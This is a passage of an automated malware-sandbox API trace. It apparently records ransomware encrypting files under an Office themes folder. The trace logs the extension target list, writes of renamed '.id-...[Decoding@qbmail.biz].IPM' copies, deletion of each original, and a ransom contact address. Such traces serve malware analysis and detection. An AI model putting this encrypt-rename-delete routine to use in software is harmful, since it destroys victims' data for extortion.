Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.614] lstrlenW (lpString=".doc") returned 4 [0093.614] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0093.614] lstrlenW (lpString=".docx") returned 5 [0093.614] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0093.614] lstrlenW (lpString=".pdf") returned 4 [0093.614] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0093.614] lstrlenW (lpString=".xls") returned 4 [0093.615] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0093.615] lstrlenW (lpString=".xlsx") returned 5 [0093.615] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0093.615] lstrlenW (lpString=".ppt") returned 4 [0093.615] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0093.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.615] lstrlenW (lpString=".zip") returned 4 [0093.615] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0093.615] lstrlenW (lpString=".rar") returned 4 [0093.615] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0093.615] lstrlenW (lpString=".bz2") returned 4 [0093.615] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0093.615] lstrlenW (lpString=".7z") returned 3 [0093.615] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0093.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.615] lstrlenW (lpString=".dbf") returned 4 [0093.615] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0093.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.615] lstrlenW (lpString=".1cd") returned 4 [0093.615] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0093.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.615] lstrlenW (lpString=".jpg") returned 4 [0093.615] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0093.616] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0093.616] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0093.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0093.616] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1925) returned 1 [0093.616] CloseHandle (hObject=0x1cc) returned 1 [0093.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0093.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0093.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0093.617] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.617] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0094.144] GetLastError () returned 0x0 [0094.144] ReadFile (in: hFile=0x1cc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x785, lpOverlapped=0x0) returned 1 [0094.162] WriteFile (in: hFile=0x20c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x790, lpOverlapped=0x0) returned 1 [0094.163] ReadFile (in: hFile=0x1cc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.164] WriteFile (in: hFile=0x20c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0094.164] SetEndOfFile (hFile=0x20c) returned 1 [0094.164] CloseHandle (hObject=0x20c) returned 1 [0094.164] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.164] SetEndOfFile (hFile=0x1cc) returned 1 [0094.165] CloseHandle (hObject=0x1cc) returned 1 [0094.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.166] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0094.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.166] lstrlenW (lpString=".doc") returned 4 [0094.166] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.166] lstrlenW (lpString=".docx") returned 5 [0094.166] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.166] lstrlenW (lpString=".pdf") returned 4 [0094.166] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.166] lstrlenW (lpString=".xls") returned 4 [0094.166] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.166] lstrlenW (lpString=".xlsx") returned 5 [0094.166] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.166] lstrlenW (lpString=".ppt") returned 4 [0094.166] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.166] lstrlenW (lpString=".zip") returned 4 [0094.166] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.166] lstrlenW (lpString=".rar") returned 4 [0094.166] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.167] lstrlenW (lpString=".bz2") returned 4 [0094.167] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.167] lstrlenW (lpString=".7z") returned 3 [0094.167] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.167] lstrlenW (lpString=".dbf") returned 4 [0094.167] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.167] lstrlenW (lpString=".1cd") returned 4 [0094.167] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.167] lstrlenW (lpString=".jpg") returned 4 [0094.167] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.167] lstrlenW (lpString=".doc") returned 4 [0094.167] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.167] lstrlenW (lpString=".docx") returned 5 [0094.167] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.167] lstrlenW (lpString=".pdf") returned 4 [0094.167] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.167] lstrlenW (lpString=".xls") returned 4 [0094.167] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.167] lstrlenW (lpString=".xlsx") returned 5 [0094.167] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.167] lstrlenW (lpString=".ppt") returned 4 [0094.167] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.168] lstrlenW (lpString=".zip") returned 4 [0094.168] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.168] lstrlenW (lpString=".rar") returned 4 [0094.168] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.168] lstrlenW (lpString=".bz2") returned 4 [0094.168] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.168] lstrlenW (lpString=".7z") returned 3 [0094.168] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.168] lstrlenW (lpString=".dbf") returned 4 [0094.168] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.168] lstrlenW (lpString=".1cd") returned 4 [0094.168] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0094.168] lstrlenW (lpString=".jpg") returned 4 [0094.168] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.168] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0094.168] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0094.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0094.540] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=43276) returned 1 [0094.540] CloseHandle (hObject=0x1bc) returned 1 [0094.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0094.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0094.540] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.540] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0094.541] GetLastError () returned 0x0 [0094.541] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0094.586] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0094.588] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.588] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.588] SetEndOfFile (hFile=0x1fc) returned 1 [0094.588] CloseHandle (hObject=0x1fc) returned 1 [0094.589] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.589] SetEndOfFile (hFile=0x1bc) returned 1 [0094.590] CloseHandle (hObject=0x1bc) returned 1 [0094.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.590] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0094.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.591] lstrlenW (lpString=".doc") returned 4 [0094.591] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.591] lstrlenW (lpString=".docx") returned 5 [0094.591] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.591] lstrlenW (lpString=".pdf") returned 4 [0094.591] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.591] lstrlenW (lpString=".xls") returned 4 [0094.591] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.591] lstrlenW (lpString=".xlsx") returned 5 [0094.591] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.591] lstrlenW (lpString=".ppt") returned 4 [0094.591] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.591] lstrlenW (lpString=".zip") returned 4 [0094.591] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.591] lstrlenW (lpString=".rar") returned 4 [0094.591] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.591] lstrlenW (lpString=".bz2") returned 4 [0094.591] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.591] lstrlenW (lpString=".7z") returned 3 [0094.591] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.591] lstrlenW (lpString=".dbf") returned 4 [0094.591] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.592] lstrlenW (lpString=".1cd") returned 4 [0094.592] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.592] lstrlenW (lpString=".jpg") returned 4 [0094.592] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.592] lstrlenW (lpString=".doc") returned 4 [0094.592] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.592] lstrlenW (lpString=".docx") returned 5 [0094.592] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.592] lstrlenW (lpString=".pdf") returned 4 [0094.592] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.592] lstrlenW (lpString=".xls") returned 4 [0094.592] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.592] lstrlenW (lpString=".xlsx") returned 5 [0094.592] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.592] lstrlenW (lpString=".ppt") returned 4 [0094.592] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.592] lstrlenW (lpString=".zip") returned 4 [0094.592] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.592] lstrlenW (lpString=".rar") returned 4 [0094.592] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.592] lstrlenW (lpString=".bz2") returned 4 [0094.593] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.593] lstrlenW (lpString=".7z") returned 3 [0094.593] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.593] lstrlenW (lpString=".dbf") returned 4 [0094.593] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.593] lstrlenW (lpString=".1cd") returned 4 [0094.593] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0094.593] lstrlenW (lpString=".jpg") returned 4 [0094.593] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.593] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0094.593] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0094.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0094.594] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1293) returned 1 [0094.594] CloseHandle (hObject=0x1fc) returned 1 [0094.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0094.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0094.594] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.594] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0095.180] GetLastError () returned 0x0 [0095.180] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x50d, lpOverlapped=0x0) returned 1 [0095.449] WriteFile (in: hFile=0x20c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x510, lpOverlapped=0x0) returned 1 [0095.450] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.450] WriteFile (in: hFile=0x20c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0095.450] SetEndOfFile (hFile=0x20c) returned 1 [0095.450] CloseHandle (hObject=0x20c) returned 1 [0095.451] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.451] SetEndOfFile (hFile=0x1fc) returned 1 [0095.451] CloseHandle (hObject=0x1fc) returned 1 [0095.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0095.452] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0095.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.452] lstrlenW (lpString=".doc") returned 4 [0095.452] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0095.452] lstrlenW (lpString=".docx") returned 5 [0095.452] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0095.452] lstrlenW (lpString=".pdf") returned 4 [0095.452] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0095.452] lstrlenW (lpString=".xls") returned 4 [0095.452] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0095.452] lstrlenW (lpString=".xlsx") returned 5 [0095.452] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0095.452] lstrlenW (lpString=".ppt") returned 4 [0095.452] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0095.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.452] lstrlenW (lpString=".zip") returned 4 [0095.452] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0095.453] lstrlenW (lpString=".rar") returned 4 [0095.453] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0095.453] lstrlenW (lpString=".bz2") returned 4 [0095.453] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0095.453] lstrlenW (lpString=".7z") returned 3 [0095.453] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0095.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.453] lstrlenW (lpString=".dbf") returned 4 [0095.453] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0095.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.453] lstrlenW (lpString=".1cd") returned 4 [0095.453] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0095.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 